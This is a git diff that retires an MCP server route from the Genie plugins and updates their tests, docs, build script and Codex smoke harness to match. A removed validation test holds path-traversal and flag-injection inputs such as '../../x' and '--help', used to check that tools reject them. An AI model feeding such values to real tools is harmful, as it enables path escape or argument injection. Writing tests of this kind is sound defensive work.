**kwargs: Any) -> str: - used_bridge.append(True) + def standalone_adapter(args: dict, **kwargs: Any) -> str: + calls.append(dict(args)) return json.dumps( { "success": True, "mutation": "none", "cwd": "/repo", - "command": ["genie", "board", "--json"], - "data": [], + "command": ["genie", "board", "--json", "--wish", "demo"], + "data": [{"id": 1}], } ) - monkeypatch.setattr(commands, "_genie_board", legacy_bridge) - - class Ctx: - def call_tool(self, name: str, args: dict[str, Any]) -> str: - raise RuntimeError("mcp unavailable") + monkeypatch.setattr(commands, "_genie_board", standalone_adapter) - text = commands.slash_genie("board", context=Ctx()) - assert used_bridge == [True] # degraded to the legacy bridge + text = commands.slash_genie("board demo", context=object()) + assert calls == [{"wish": "demo"}] assert text.splitlines()[0].startswith("OK") diff --git a/plugins/hermes-genie/tests/test_plugin_contract.py b/plugins/hermes-genie/tests/test_plugin_contract.py index 645583d6d..301aea3bc 100644 --- a/plugins/hermes-genie/tests/test_plugin_contract.py +++ b/plugins/hermes-genie/tests/test_plugin_contract.py @@ -18,14 +18,13 @@ "genie_work_plan", "genie_review_plan", ] -# Legacy board/task tools — register only behind GENIE_HERMES_LEGACY_TOOLS=1. +# Board/task names belong to standalone commands and must never register as tools. LEGACY_TOOL_NAMES = [ "genie_board", "genie_wish_status", "genie_task_list", "genie_task_status", ] -ALL_TOOL_NAMES = GAP_TOOL_NAMES + LEGACY_TOOL_NAMES def _release_version() -> str: @@ -41,13 +40,6 @@ def load_plugin_module(): return module -def _register_with_legacy(module, ctx, monkeypatch): - """Register with the legacy board/task tools enabled (transition flag on).""" - monkeypatch.setenv("GENIE_HERMES_LEGACY_TOOLS", "1") - module.register(ctx) - return ctx - - class FakeCtx: """Recorder mirroring the Hermes v0.18 plugin context registration API.""" @@ -133,14 +125,12 @@ def test_register_adds_only_gap_tools_by_default(monkeypatch): assert isinstance(schema["parameters"]["properties"], dict) -def test_legacy_flag_restores_the_four_legacy_tools(monkeypatch): +def test_stale_legacy_flag_cannot_restore_duplicate_tools(monkeypatch): module = load_plugin_module() - ctx = _register_with_legacy(module, FakeCtx(), monkeypatch) - assert sorted(ctx.tools) == sorted(ALL_TOOL_NAMES) - for name in ALL_TOOL_NAMES: - entry = ctx.tools[name] - assert callable(entry["handler"]) - assert entry["schema"]["name"] == name + monkeypatch.setenv("GENIE_HERMES_LEGACY_TOOLS", "1") + ctx = FakeCtx() + module.register(ctx) + assert sorted(ctx.tools) == sorted(GAP_TOOL_NAMES) def test_register_completes_with_tool_only_ctx(monkeypatch): @@ -169,35 +159,6 @@ def test_status_handler_payload_shape(tmp_path): assert data["data"]["genie_dir_present"] is False -def test_wish_status_handler_payload_shape(tmp_path, monkeypatch): - module = load_plugin_module() - ctx = _register_with_legacy(module, FakeCtx(), monkeypatch) - data = _invoke(ctx, "genie_wish_status", {"cwd": str(tmp_path), "slug": "no-such-wish"}) - assert "success" in data - assert data["mutation"] == "none" - assert data["cwd"] == str(Path(str(tmp_path)).resolve()) - assert "command" in data - assert "board" in data["data"] - assert "tasks" in data["data"] - - -def test_wish_status_requires_slug(tmp_path, monkeypatch): - module = load_plugin_module() - ctx = _register_with_legacy(module, FakeCtx(), monkeypatch) - data = _invoke(ctx, "genie_wish_status", {"cwd": str(tmp_path)}) - assert data["success"] is False - assert data["mutation"] == "none" - assert "slug" in data["error"] - - -def test_task_status_requires_id(tmp_path, monkeypatch): - module = load_plugin_module() - ctx = _register_with_legacy(module, FakeCtx(), monkeypatch) - data = _invoke(ctx, "genie_task_status", {"cwd": str(tmp_path)}) - assert data["success"] is False - assert "id" in data["error"] - - def test_work_plan_rejects_unsafe_group_items(tmp_path): module = load_plugin_module() ctx = FakeCtx() @@ -238,29 +199,12 @@ def test_work_plan_rejects_traversal_and_dash_slugs(tmp_path): assert "data" not in data -def test_remaining_tools_reject_invalid_refs(tmp_path, monkeypatch): - module = load_plugin_module() - ctx = _register_with_legacy(module, FakeCtx(), monkeypatch) - cases = [ - ("genie_wish_status", {"slug": "--help"}), - ("genie_task_status", {"id": "../../x"}), - ("genie_board", {"wish": "../../x"}), - ("genie_task_list", {"wish": "a/b"}), - ("genie_task_list", {"status": "--help"}), - ("genie_work_plan", {"slug": "ok-wish", "group": "--help"}), - ] - for name, extra in cases: - data = _invoke(ctx, name, {"cwd": str(tmp_path), **extra}) - assert data["success"] is False, f"{name} with {extra} must be rejected" - assert "invalid" in data["error"].lower() - assert data["source"] == "input-validation" - - def test_validation_error_payloads_carry_source(tmp_path, monkeypatch): """Every input-validation early return must satisfy the command|source invariant.""" module = load_plugin_module() - ctx = _register_with_legacy(module, FakeCtx(), monkeypatch) - for name in ["genie_wish_status", "genie_task_status", "genie_work_plan", "genie_review_plan"]: + ctx = FakeCtx() + module.register(ctx) + for name in ["genie_work_plan", "genie_review_plan"]: data = _invoke(ctx, name, {"cwd": str(tmp_path)}) # missing required ref assert data["success"] is False assert data["mutation"] == "none" diff --git a/plugins/pi-genie/references/native-surface.md b/plugins/pi-genie/references/native-surface.md index 521c140eb..1851f4c7e 100644 --- a/plugins/pi-genie/references/native-surface.md +++ b/plugins/pi-genie/references/native-surface.md @@ -48,17 +48,11 @@ Every tool result carries the Hermes-style envelope: Failures surface the actual genie stderr text (e.g. `genie context --wish <slug> --plan failed: {"error": "...", "reason": "..."}`) instead of a raw capture. -## MCP parity +## Standalone parity -The Claude/Codex MCP server (`genie mcp`) exposes five read tools plus twelve -operative write tools (`genie_task_create`, `genie_task_checkout`, -`genie_task_done`, `genie_task_move`, `genie_task_block`, `genie_task_unblock`, -`genie_task_release`, `genie_task_comment`, `genie_task_report`, -`genie_task_heartbeat`, `genie_task_set_wish`, `genie_task_add_dependency`). -pi has no MCP client; this plugin reaches the same state -through the CLI the MCP server wraps, plus the two review/planning tools that -the MCP surface does not cover (`genie_work_plan`, `genie_review_plan`) — -matching the Hermes gap-tool rationale. +The shared Genie MCP runtime is retired. This plugin reaches Genie state through +the standalone `genie task`, `genie board`, and `genie context` commands, plus +the two review/planning tools (`genie_work_plan`, `genie_review_plan`). ## Bounding (context hook) diff --git a/scripts/build-binary.sh b/scripts/build-binary.sh index a3c033e13..b4600759c 100755 --- a/scripts/build-binary.sh +++ b/scripts/build-binary.sh @@ -131,7 +131,6 @@ for required in \ "plugins/genie/.kimi-plugin/plugin.json" \ "plugins/genie/orca-plugin.json" \ "plugins/genie/orca-entrypoint.min.js" \ - "plugins/genie/scripts/mcp-launcher.cjs" \ "plugins/genie/.claude-plugin/plugin.json" \ "plugins/genie/hooks/hooks.json" \ "plugins/genie/hooks/codex-hooks.json"; do @@ -168,7 +167,7 @@ tar czf "${TARBALL}" -C "${STAGE}" . # contract before size checks or upload. VERIFY_ROOT="$(mktemp -d "${DIST_DIR}/.verify-${PLATFORM}.XXXXXX")" trap 'rm -rf "${VERIFY_ROOT}"' EXIT -tar -xzf "${TARBALL}" -C "${VERIFY_ROOT}" +( umask 000; tar -xzf "${TARBALL}" -C "${VERIFY_ROOT}" ) assert_no_release_tests "${VERIFY_ROOT}" assert_release_tree_equal() { diff --git a/scripts/candidate-dogfood-matrix.test.ts b/scripts/candidate-dogfood-matrix.test.ts index b9157d1ef..579598b40 100644 --- a/scripts/candidate-dogfood-matrix.test.ts +++ b/scripts/candidate-dogfood-matrix.test.ts @@ -28,7 +28,7 @@ function fixture(): { root: string; manifest: string; dist: string; value: Recor return { root, manifest, dist, value }; } -describe('candidate dogfood manifest-derived native matrix', () => { +describe('candidate dogfood manifest-derived standalone matrix', () => { test('emits exactly one digest-bound native entry per manifest platform', () => { const fx = fixture(); const matrix = buildCandidateDogfoodMatrix(fx.manifest, fx.dist); diff --git a/scripts/codex-plugin-only-smoke.ts b/scripts/codex-plugin-only-smoke.ts index ec29f817a..a3717142e 100644 --- a/scripts/codex-plugin-only-smoke.ts +++ b/scripts/codex-plugin-only-smoke.ts @@ -50,11 +50,9 @@ import { SmokeFailure, TARGET_VERSION, activePluginRoot, - assertEffectiveCodexProjectRoute, assertNoStaleTempHomes, assertPluginHealthy, assertProtectedUnchanged, - assertSingleCodexProjectRouteMarker, buildCliOnce, captureProtected, diffTree, @@ -69,12 +67,10 @@ import { runCli, runLifecycleCli, runLifecycleSetup, - runRealCodex, seedPersonalFixtures, seedShippedFallbackLayout, snapshotNode, snapshotTree, - trustIsolatedCodexProject, withIsolatedHome, } from './codex-smoke-harness.ts'; @@ -229,10 +225,8 @@ function isRecord(value: unknown): value is Record<string, unknown> { function assertInstalledPluginMcpShape(iso: IsolatedHome, version: string): void { const root = join(iso.codexHome, 'plugins', 'cache', 'automagik', 'genie', version); - // Group A removed the Codex plugin MCP route: the installed manifest declares no - // mcpServers and no MCP capability, and ships no `.mcp.json`. Codex MCP now comes - // ONLY from the marker-owned project route reconciled by `genie init` (asserted - // separately as the project `.mcp.json`/`.codex/config.toml`). + // A7 removed every Codex Genie MCP route. The installed payload must contain + // neither route metadata nor a launcher capable of reviving the server. const manifest: unknown = JSON.parse(readFileSync(join(root, '.codex-plugin', 'plugin.json'), 'utf8')); const manifestRecord = isRecord(manifest) ? manifest : {}; if ('mcpServers' in manifestRecord) { @@ -243,8 +237,7 @@ function assertInstalledPluginMcpShape(iso: IsolatedHome, version: string): void fail('installed Codex plugin must not advertise the MCP capability (plugin MCP route removed)'); } if (existsSync(join(root, '.mcp.json'))) fail('installed Codex plugin must not ship a .mcp.json route file'); - // The plugin-local launcher stays — Claude drives it via its own inline manifest entry. - if (!existsSync(join(root, 'scripts', 'mcp-launcher.cjs'))) fail('plugin MCP launcher (Claude) is missing'); + if (existsSync(join(root, 'scripts', 'mcp-launcher.cjs'))) fail('retired MCP launcher must not be installed'); } function assertSessionStartHook(iso: IsolatedHome, version: string): void { @@ -618,53 +611,28 @@ function stepEnvDependentSuites(notes: string[]): void { withIsolatedHome((iso) => { installGenieHome(iso); linkRealCodex(iso); - // C8 black-box proofs exercise the built artifact and real installed plugin - // inside the isolated home. First prove route-only init creates the route - // from actual absence, before delivery/setup has any opportunity to - // reconcile it as part of activation finalization. + // C8 proves init/setup never resurrect a project MCP route. const codexConfig = join(iso.project, '.codex', 'config.toml'); - if (existsSync(codexConfig)) fail('C8 project route must be absent before the first genie init'); + if (existsSync(codexConfig)) fail('C8 project config must be absent before the first genie init'); const init = runCli(iso, ['init', '--json']); if (init.exitCode !== 0) fail(`genie init failed: ${init.stderr.trim() || init.stdout.trim()}`); - if (!existsSync(codexConfig)) fail('genie init did not create the Codex project config'); - const firstToml = readFileSync(codexConfig, 'utf8'); - assertSingleCodexProjectRouteMarker(firstToml); + if (existsSync(codexConfig)) fail('genie init resurrected a Codex project MCP config'); publishDelivery(iso, '(C8)'); setupCodex(iso, '(C8)'); - const afterSetupToml = readFileSync(codexConfig, 'utf8'); - if (afterSetupToml !== firstToml) { - fail('authenticated setup changed the already-current marker-owned route bytes'); - } - trustIsolatedCodexProject(iso); - const firstRoute = assertEffectiveCodexProjectRoute( - runRealCodex(iso, ['mcp', 'get', 'genie', '--json']), - runRealCodex(iso, ['mcp', 'list', '--json']), - iso.genieBin, - ); + if (existsSync(codexConfig)) fail('authenticated setup resurrected a Codex project MCP config'); const secondInit = runCli(iso, ['init', '--json']); if (secondInit.exitCode !== 0) { fail(`second genie init failed: ${secondInit.stderr.trim() || secondInit.stdout.trim()}`); } - const secondToml = readFileSync(codexConfig, 'utf8'); - if (secondToml !== firstToml) fail('second genie init changed the marker-owned Codex project config bytes'); - assertSingleCodexProjectRouteMarker(secondToml); - const secondRoute = assertEffectiveCodexProjectRoute( - runRealCodex(iso, ['mcp', 'get', 'genie', '--json']), - runRealCodex(iso, ['mcp', 'list', '--json']), - iso.genieBin, - ); - if (secondRoute.getJson !== firstRoute.getJson || secondRoute.listJson !== firstRoute.listJson) { - fail('Codex mcp get/list JSON changed after byte-idempotent second init'); - } + if (existsSync(codexConfig)) fail('second genie init resurrected a Codex project MCP config'); // 2b. Manifest MCP shape via direct inspection of the installed plugin cache. assertInstalledPluginMcpShape(iso, readCodexGeniePlugin(iso).version); - // 2c. The launcher's end-to-end MCP usability is already proven by the - // JSON-RPC session in every assertPluginHealthy call above. + // 2c. The surviving plugin payload has no launcher or MCP declaration. assertPluginHealthy(iso, TARGET_VERSION); // 2d. SessionStart hook context emission (covers the codex-manifest criteria). assertSessionStartHook(iso, readCodexGeniePlugin(iso).version); - notes.push('C8: black-box project-MCP + manifest-shape + MCP-usability + SessionStart proofs passed'); + notes.push('C8: no project route + no manifest/launcher + SessionStart proofs passed'); }); } diff --git a/scripts/codex-smoke-harness.test.ts b/scripts/codex-smoke-harness.test.ts deleted file mode 100644 index e66fe2c79..000000000 --- a/scripts/codex-smoke-harness.test.ts +++ /dev/null @@ -1,148 +0,0 @@ -import { describe, expect, test } from 'bun:test'; -import { - type CliResult, - assertEffectiveCodexProjectRoute, - assertSingleCodexProjectRouteMarker, - withIsolatedHome, -} from './codex-smoke-harness.ts'; - -const expectedCommand = '/isolated/.genie/bin/genie'; - -function result(value: unknown, exitCode = 0): CliResult { - return { - exitCode, - stdout: typeof value === 'string' ? value : JSON.stringify(value), - stderr: exitCode === 0 ? '' : 'forced failure', - }; -} - -function route(overrides: Record<string, unknown> = {}): Record<string, unknown> { - return { - name: 'genie', - enabled: true, - disabled_reason: null, - transport: { - type: 'stdio', - command: expectedCommand, - args: ['mcp'], - cwd: null, - }, - ...overrides, - }; -} - -describe('assertEffectiveCodexProjectRoute', () => { - test('accepts one enabled stdio route and canonicalizes get/list JSON', () => { - const get = route(); - const list = [route()]; - const snapshot = assertEffectiveCodexProjectRoute(result(get), result(list), expectedCommand); - expect(snapshot.route.transport).toEqual({ - type: 'stdio', - command: expectedCommand, - args: ['mcp'], - cwd: null, - }); - expect(snapshot.getJson).toContain(expectedCommand); - expect(snapshot.listJson).toContain(expectedCommand); - }); - - test('accepts an absent cwd and list-only host metadata', () => { - const transport = { type: 'stdio', command: expectedCommand, args: ['mcp'] }; - expect(() => - assertEffectiveCodexProjectRoute( - result(route({ transport })), - result([route({ transport, auth_status: 'unsupported' })]), - expectedCommand, - ), - ).not.toThrow(); - }); - - test('rejects a nonzero Codex command before parsing output', () => { - expect(() => assertEffectiveCodexProjectRoute(result('', 7), result([route()]), expectedCommand)).toThrow(/exit 7/); - }); - - test('rejects malformed JSON', () => { - expect(() => assertEffectiveCodexProjectRoute(result('{broken'), result([route()]), expectedCommand)).toThrow( - /malformed JSON/, - ); - }); - - test.each([ - ['wrong command', { type: 'stdio', command: '/other/genie', args: ['mcp'], cwd: null }, /command is/], - [ - 'cache-root command', - { type: 'stdio', command: '/x/.codex/plugins/cache/genie', args: ['mcp'], cwd: null }, - /plugin cache/, - ], - [ - 'wrong args', - { type: 'stdio', command: expectedCommand, args: ['mcp', '--extra'], cwd: null }, - /exactly \["mcp"\]/, - ], - ['effective cwd', { type: 'stdio', command: expectedCommand, args: ['mcp'], cwd: '/tmp/cache' }, /absent or null/], - ])('rejects %s', (_label, transport, message) => { - expect(() => - assertEffectiveCodexProjectRoute(result(route({ transport })), result([route({ transport })]), expectedCommand), - ).toThrow(message); - }); - - test('rejects duplicate genie routes', () => { - expect(() => - assertEffectiveCodexProjectRoute(result(route()), result([route(), route()]), expectedCommand), - ).toThrow(/exactly one genie route, found 2/); - }); - - test.each([ - ['disabled', { enabled: false }, /must be enabled/], - [ - 'non-stdio', - { transport: { type: 'http', command: expectedCommand, args: ['mcp'], cwd: null } }, - /type must be "stdio"/, - ], - ])('rejects a %s genie route', (_label, overrides, message) => { - expect(() => - assertEffectiveCodexProjectRoute(result(route(overrides)), result([route(overrides)]), expectedCommand), - ).toThrow(message); - }); -}); - -describe('assertSingleCodexProjectRouteMarker', () => { - const block = '# BEGIN GENIE MCP FALLBACK\nmcp_servers.genie.command = "/g"\n# END GENIE MCP FALLBACK\n'; - - test('accepts one intact marker pair', () => { - expect(() => assertSingleCodexProjectRouteMarker(block)).not.toThrow(); - }); - - test.each([ - ['missing end', '# BEGIN GENIE MCP FALLBACK\n'], - ['end before begin', '# END GENIE MCP FALLBACK\n# BEGIN GENIE MCP FALLBACK\n'], - ['duplicate pair', `${block}${block}`], - ])('rejects %s', (_label, toml) => { - expect(() => assertSingleCodexProjectRouteMarker(toml)).toThrow(/exactly one intact/); - }); -}); - -describe('isolated smoke environment', () => { - test('rebases every writable config, cache, and temporary root under the fixture home', () => { - withIsolatedHome((iso) => { - for (const key of [ - 'GENIE_HOME', - 'CODEX_HOME', - 'CLAUDE_CONFIG_DIR', - 'GENIE_AGENTS_SKILLS_DIR', - 'TMPDIR', - 'XDG_CONFIG_HOME', - 'XDG_CACHE_HOME', - 'XDG_DATA_HOME', - 'XDG_STATE_HOME', - 'BUN_INSTALL_CACHE_DIR', - 'NPM_CONFIG_CACHE', - 'GIT_CONFIG_GLOBAL', - ]) { - expect(iso.env[key]?.startsWith(`${iso.home}/`), key).toBe(true); - } - expect(iso.env.HOME).toBe(iso.home); - expect(iso.env.GIT_CONFIG_NOSYSTEM).toBe('1'); - }); - }); -}); diff --git a/scripts/codex-smoke-harness.ts b/scripts/codex-smoke-harness.ts index 9da4804d1..9dcd180e0 100644 --- a/scripts/codex-smoke-harness.ts +++ b/scripts/codex-smoke-harness.ts @@ -7,18 +7,16 @@ * Design contract (wish `repair-genie-codex-hooks-and-dedupe-skills`, Group C): * * - The BUILT CLI performs the isolated non-Codex bootstrap install and remains - * the system under test for init/MCP surfaces. Fixture delivery publication, + * the system under test for init and retirement surfaces. Fixture delivery publication, * activation, and delivery-aware doctor assertions use one unshipped lifecycle * driver because the deterministic Sigstore bundle is intentionally rejected * without its same-process crypto seam. Setup still runs through a real PTY * and the production consent/authorization/executor/store path. The black-box * inspector imports no runtime-integration oracle (`proveCodexPluginHealth`, - * `runBoundedCodexMcpSession`, `inspectCodexFallbackTier`, + * `inspectCodexFallbackTier`, * `inspectManagedSkillTree`) — those would re-run the code under test against * the harness's OWN `process.env` - * (the developer's real `~/.codex`/`~/.agents`). MCP health is proven - * black-box by driving `<activePluginRoot>/scripts/mcp-launcher.cjs` over a - * hand-rolled JSON-RPC session. + * (the developer's real `~/.codex`/`~/.agents`). * - This harness module's ONLY direct `src/` imports are deterministic FIXTURE * BUILDERS with explicit path arguments and no env resolution: * `computeDirDigest` (marker digest) and @@ -78,15 +76,6 @@ export const REPO_ROOT = repositoryRootFromModuleUrl(import.meta.url); export const DIST_CLI = join(REPO_ROOT, 'dist', 'genie.js'); const LIFECYCLE_TEST_RUNNER = join(REPO_ROOT, 'tests', 'support', 'codex-lifecycle-test-runner.ts'); -/** The five read-only Genie MCP tools a healthy plugin launcher must expose. */ -export const REQUIRED_GENIE_MCP_TOOLS = [ - 'genie_board', - 'genie_wish_status', - 'genie_worktree_context', - 'genie_task', - 'genie_active', -] as const; - /** Committed retirement on-disk contract (mirrors agent-sync + doctor). */ export const RETIREMENT_ROOT_NAME = '.genie-codex-fallback-retirement'; const RETIREMENT_TXN_PREFIX = 'txn-'; @@ -345,124 +334,14 @@ export function trustIsolatedCodexProject(iso: IsolatedHome): void { appendFileSync(join(iso.codexHome, 'config.toml'), `\n${trust}`); } -export interface EffectiveCodexMcpRoute { - name: 'genie'; - enabled: true; - transport: { - type: 'stdio'; - command: string; - args: ['mcp']; - cwd: null; - }; -} - -export interface EffectiveCodexMcpSnapshot { - route: EffectiveCodexMcpRoute; - getJson: string; - listJson: string; -} - -function parseCodexJson(result: CliResult, command: string): unknown { - if (result.exitCode !== 0) { - fail( - `${command} failed with exit ${result.exitCode}: ${result.stderr.trim() || result.stdout.trim() || '<no output>'}`, - ); - } - try { - return JSON.parse(result.stdout) as unknown; - } catch (error) { - fail(`${command} returned malformed JSON: ${error instanceof Error ? error.message : String(error)}`); - } -} - -function canonicalJson(value: unknown): string { - if (Array.isArray(value)) return `[${value.map(canonicalJson).join(',')}]`; - if (isRecord(value)) { - return `{${Object.keys(value) - .sort() - .map((key) => `${JSON.stringify(key)}:${canonicalJson(value[key])}`) - .join(',')}}`; - } - return JSON.stringify(value) ?? 'null'; -} - -function assertGenieTransport(value: Record<string, unknown>, expectedCommand: string, source: string): void { - if (value.name !== 'genie') fail(`${source} route name must be "genie"`); - if (value.enabled !== true) fail(`${source} genie route must be enabled`); - const transport = asRecord(value.transport, `${source} genie transport is not an object`); - if (transport.type !== 'stdio') fail(`${source} genie transport type must be "stdio"`); - if (typeof transport.command !== 'string') fail(`${source} genie transport command must be a string`); - const normalizedCommand = transport.command.replaceAll('\\', '/'); - if (normalizedCommand.includes('/plugins/cache/') || normalizedCommand.includes('/.codex/plugins/')) { - fail(`${source} genie command must not resolve through a plugin cache: ${transport.command}`); - } - if (transport.command !== expectedCommand) { - fail( - `${source} genie command is ${JSON.stringify(transport.command)}, expected ${JSON.stringify(expectedCommand)}`, - ); - } - if (!Array.isArray(transport.args) || transport.args.length !== 1 || transport.args[0] !== 'mcp') { - fail(`${source} genie args must be exactly ["mcp"]`); - } - if ('cwd' in transport && transport.cwd !== null) { - fail(`${source} genie cwd must be absent or null`); - } -} - -/** - * Parse and structurally prove Codex's effective project MCP route from both - * official JSON surfaces. This is intentionally independent of Genie's TOML - * parser and rejects duplicate, disabled, non-stdio, cache-root, cwd-overridden, - * or get/list-divergent routes. - */ -export function assertEffectiveCodexProjectRoute( - getResult: CliResult, - listResult: CliResult, - expectedCommand: string, -): EffectiveCodexMcpSnapshot { - const getParsed = parseCodexJson(getResult, 'codex mcp get genie --json'); - const listParsed = parseCodexJson(listResult, 'codex mcp list --json'); - const getRoute = asRecord(getParsed, 'codex mcp get genie --json is not an object'); - if (!Array.isArray(listParsed)) fail('codex mcp list --json is not an array'); - const genieRoutes = listParsed - .map((entry) => asRecord(entry, 'codex mcp list --json entry is not an object')) - .filter((entry) => entry.name === 'genie'); - if (genieRoutes.length !== 1) { - fail(`codex mcp list --json must contain exactly one genie route, found ${genieRoutes.length}`); - } - const listRoute = genieRoutes[0]; - assertGenieTransport(getRoute, expectedCommand, 'codex mcp get'); - assertGenieTransport(listRoute, expectedCommand, 'codex mcp list'); - return { - route: { - name: 'genie', - enabled: true, - transport: { type: 'stdio', command: expectedCommand, args: ['mcp'], cwd: null }, - }, - getJson: canonicalJson(getParsed), - listJson: canonicalJson(listParsed), - }; -} - -/** Require one complete marker-owned route block, with no duplicate marker. */ -export function assertSingleCodexProjectRouteMarker(toml: string): void { - const begin = '# BEGIN GENIE MCP FALLBACK'; - const end = '# END GENIE MCP FALLBACK'; - const begins = toml.split(begin).length - 1; - const ends = toml.split(end).length - 1; - if (begins !== 1 || ends !== 1 || toml.indexOf(begin) >= toml.indexOf(end)) { - fail(`Codex project config must contain exactly one intact ${begin}/${end} block`); - } -} - // ============================================================================ // Fixture builders // ============================================================================ /** * Populate `$GENIE_HOME` as the installed marketplace/bundle root and place the - * BUILT binary at `$GENIE_HOME/bin/genie` (A14 — the MCP launcher and update - * self-version both resolve this exact path). Then run the finishing install + * BUILT binary at `$GENIE_HOME/bin/genie` (the update self-version resolves + * this exact path). Then run the finishing install * step with no integrations so consent + genie.db exist. */ export function installGenieHome(iso: IsolatedHome): void { @@ -766,115 +645,24 @@ export function readCodexGeniePlugin(iso: IsolatedHome): CodexPluginEntry { /** Resolve the active plugin cache root Codex loads from. */ export function activePluginRoot(iso: IsolatedHome, version: string): string { const root = join(iso.codexHome, 'plugins', 'cache', 'automagik', 'genie', version); - if (!existsSync(join(root, 'scripts', 'mcp-launcher.cjs'))) { - fail(`active plugin launcher missing at ${root}/scripts/mcp-launcher.cjs`); + if (!existsSync(join(root, '.codex-plugin', 'plugin.json'))) { + fail(`active plugin manifest missing at ${root}/.codex-plugin/plugin.json`); } return root; } -// ============================================================================ -// Black-box MCP JSON-RPC probe (A1 replacement for proveCodexPluginHealth) -// ============================================================================ - -interface JsonRpcReply { - id?: number | string | null; - result?: unknown; - error?: { message?: string; code?: number }; -} - -export interface McpProbeResult { - initialized: boolean; - tools: string[]; - wishStatusReadOnly: boolean; - detail: string; -} - -function buildMcpRequestStream(): string { - const requests = [ - { - jsonrpc: '2.0', - id: 1, - method: 'initialize', - params: { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 'codex-smoke', version: '1' } }, - }, - { jsonrpc: '2.0', method: 'notifications/initialized' }, - { jsonrpc: '2.0', id: 2, method: 'tools/list' }, - { jsonrpc: '2.0', id: 3, method: 'tools/call', params: { name: 'genie_wish_status', arguments: {} } }, - ]; - return `${requests.map((request) => JSON.stringify(request)).join('\n')}\n`; -} - -function indexReplies(stdout: string): Map<number, JsonRpcReply> { - const byId = new Map<number, JsonRpcReply>(); - for (const line of stdout.split('\n')) { - const trimmed = line.trim(); - if (!trimmed) continue; - try { - const reply = JSON.parse(trimmed) as JsonRpcReply; - if (typeof reply.id === 'number') byId.set(reply.id, reply); - } catch { - // ignore non-JSON framing noise - } - } - return byId; -} - -/** - * Drive a bounded JSON-RPC session through the installed launcher — the exact - * `<activePluginRoot>/scripts/mcp-launcher.cjs` that Codex would spawn — and - * prove `initialize` → `tools/list` (5 Genie tools) → read-only - * `genie_wish_status` without importing any runtime-integration oracle. - */ -export function probePluginMcp(iso: IsolatedHome, launcherRoot: string): McpProbeResult { - const launcher = join(launcherRoot, 'scripts', 'mcp-launcher.cjs'); - const cwd = mkdtempSync(join(iso.home, 'mcp-cwd-')); - try { - const spawned = Bun.spawnSync(['node', launcher], { - cwd, - env: iso.env, - stdin: Buffer.from(buildMcpRequestStream(), 'utf8'), - stdout: 'pipe', - stderr: 'pipe', - timeout: 10_000, - }); - if (spawned.exitedDueToTimeout === true) { - return { initialized: false, tools: [], wishStatusReadOnly: false, detail: 'bounded MCP session timed out' }; - } - const byId = indexReplies(spawned.stdout.toString()); - const init = byId.get(1); - const initialized = init !== undefined && init.error === undefined && isRecord(init.result); - const listResult = byId.get(2)?.result; - const tools = - isRecord(listResult) && Array.isArray(listResult.tools) - ? listResult.tools - .map((tool) => (isRecord(tool) && typeof tool.name === 'string' ? tool.name : null)) - .filter((name): name is string => name !== null) - .sort() - : []; - const call = byId.get(3); - const wishStatusReadOnly = call !== undefined && call.error === undefined && isRecord(call.result); - return { - initialized, - tools, - wishStatusReadOnly, - detail: `exit=${spawned.exitCode} stderr=${spawned.stderr.toString().trim().slice(0, 200)}`, - }; - } finally { - rmSync(cwd, { recursive: true, force: true }); - } -} - -/** Full black-box health assertion: exactly one enabled target-version plugin + usable MCP. */ +/** Black-box health assertion for the surviving plugin payload. */ export function assertPluginHealthy(iso: IsolatedHome, version: string): void { const entry = readCodexGeniePlugin(iso); if (!entry.installed || !entry.enabled) fail(`plugin is not installed+enabled: ${JSON.stringify(entry)}`); if (entry.version !== version) fail(`plugin version ${entry.version} != expected ${version}`); const root = activePluginRoot(iso, version); - const probe = probePluginMcp(iso, root); - if (!probe.initialized) fail(`MCP initialize failed: ${probe.detail}`); - const missing = REQUIRED_GENIE_MCP_TOOLS.filter((tool) => !probe.tools.includes(tool)); - if (missing.length > 0) fail(`MCP tools/list missing ${missing.join(', ')} (got ${probe.tools.join(', ')})`); - if (!probe.wishStatusReadOnly) fail(`read-only genie_wish_status did not return a result: ${probe.detail}`); + if (existsSync(join(root, '.mcp.json'))) fail('retired plugin payload still ships .mcp.json'); + const manifest = JSON.parse(readFileSync(join(root, '.codex-plugin', 'plugin.json'), 'utf8')) as Record< + string, + unknown + >; + if ('mcpServers' in manifest) fail('retired plugin manifest still declares mcpServers'); } // ============================================================================ diff --git a/scripts/fresh-install-smoke.test.ts b/scripts/fresh-install-smoke.test.ts index 650dd10bb..a0e04d967 100644 --- a/scripts/fresh-install-smoke.test.ts +++ b/scripts/fresh-install-smoke.test.ts @@ -319,7 +319,7 @@ describe('fresh-install-smoke', () => { } }); - test('rejects a Claude manifest whose MCP entry is not plugin-root-anchored', () => { + test('rejects any retired Claude MCP declaration', () => { const root = mkdtempSync(join(tmpdir(), 'genie-plugin-claude-mcp-fixture-')); try { const pluginRoot = join(root, 'plugin'); @@ -337,7 +337,7 @@ describe('fresh-install-smoke', () => { const result = runSmoke(['--skills-dir', join(REPO_ROOT, 'skills'), '--plugin-root', pluginRoot]); expect(result.code).not.toBe(0); - expect(result.stderr).toContain('${CLAUDE_PLUGIN_ROOT}/scripts/mcp-launcher.cjs'); + expect(result.stderr).toContain('must not declare retired MCP servers'); } finally { rmSync(root, { recursive: true, force: true }); } diff --git a/scripts/fresh-install-smoke.ts b/scripts/fresh-install-smoke.ts index c9fdc9b11..5a804d0fb 100644 --- a/scripts/fresh-install-smoke.ts +++ b/scripts/fresh-install-smoke.ts @@ -440,9 +440,7 @@ function checkStarterPrompts(manifest: Record<string, unknown>, names: string[]) } function checkPluginMcpLayout(pluginRoot: string, manifest: Record<string, unknown>): void { - // Group A removed the Codex plugin MCP route: the manifest declares no mcpServers - // and no MCP capability, and the payload ships no `.mcp.json`. Codex MCP is - // provided ONLY by the marker-owned project route reconciled by `genie init`. + // A7 removed every plugin MCP route and launcher. if ('mcpServers' in manifest) fail('Codex plugin manifest must not declare mcpServers (plugin MCP route removed)'); const iface = manifest.interface; const capabilities = @@ -453,47 +451,15 @@ function checkPluginMcpLayout(pluginRoot: string, manifest: Record<string, unkno fail('Codex plugin must not advertise the MCP capability (plugin MCP route removed)'); } if (existsSync(join(pluginRoot, '.mcp.json'))) fail('Codex plugin must not ship a .mcp.json route file'); - // The plugin-local launcher persists — Claude drives it via its own inline - // ${CLAUDE_PLUGIN_ROOT}-anchored manifest entry (checked in checkClaudePluginMcpLayout). const launcher = resolve(pluginRoot, 'scripts', 'mcp-launcher.cjs'); - if (!isWithin(resolve(pluginRoot), launcher)) fail('Codex MCP launcher escapes the plugin root'); - if (!existsSync(launcher) || !lstatSync(launcher).isFile() || 